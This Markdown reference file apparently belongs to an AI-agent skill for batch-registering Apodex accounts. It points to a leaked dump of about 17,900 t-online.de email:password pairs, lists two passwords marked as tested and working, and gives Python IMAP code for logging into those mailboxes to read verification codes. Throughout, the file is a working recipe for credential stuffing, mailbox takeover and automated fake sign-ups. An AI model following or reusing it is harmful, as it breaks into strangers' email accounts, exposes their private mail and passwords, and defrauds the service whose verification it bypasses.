Files
autoreg-skills-max/skills/apodex-batch-reg/references/imap-t-online.md

63 lines
2.2 KiB
Markdown

# t-online.de IMAP Reference
## Connection
- Host: `secureimap.t-online.de`
- Port: `993`
- Encryption: `SSL/TLS` — use `ssl.create_default_context()`
- Login format: `[REDACTED-EMAIL]`
- Timeout: 15s recommended
## Credential Source
File: `C:\Users\User\Downloads\Telegram Desktop\working_mails.txt` (17893 lines, 650KB)
Format: `[REDACTED-EMAIL]:[REDACTED] — passwords may contain `@`
Split carefully: `email, password = [REDACTED]).split(':', 1)`
Tested working passwords from this file:
- `[REDACTED-EMAIL] : @Svenja25101996` ✅
- `[REDACTED-EMAIL] : @lina240199` ✅
## OTP Extraction (with timeout and SSL context)
```python
import imaplib, ssl, re, time, email
EMAIL = '[REDACTED-EMAIL]'
PASSWORD = '[REDACTED]'
time.sleep(3) # Wait for email delivery
ctx = ssl.create_default_context()
imap = imaplib.IMAP4_SSL('secureimap.t-online.de', 993, ssl_context=ctx, timeout=15)
imap.login(EMAIL, PASSWORD)
imap.select('INBOX')
_, msgs = imap.search(None, 'FROM', 'apodex')
if msgs[0]:
msg_id = msgs[0].split()[-1]
_, data = imap.fetch(msg_id, '(RFC822)')
raw = data[0][1].decode('utf-8', errors='ignore')
msg = email.message_from_string(raw)
body = ''
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == 'text/plain':
body = part.get_payload(decode=True).decode('utf-8', errors='ignore')
break
else:
body = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
codes = re.findall(r'\b\d{6}\b', body)
if codes:
otp = codes[0]
print(f'OTP: {otp}')
imap.logout()
```
## Subject Pattern
Apodex OTP emails have subject: `Your Apodex verification code is XXXXXX`
## Pitfalls
- Always use `ssl_context=ctx` to avoid SSL errors on Windows
- Set `timeout=15` — t-online.de IMAP can be slow
- Wait 3-5 seconds after triggering OTP before checking IMAP
- The email comes from `noreply@apodex.ai`, search with `FROM 'apodex'`
- Passwords may start with `@` — this is part of the password, not a separator
- If `get_payload(decode=True)` returns bytes, decode with `.decode('utf-8', errors='ignore')`
- Multipart emails need the `walk()` loop — flat `get_payload()` returns the container, not the text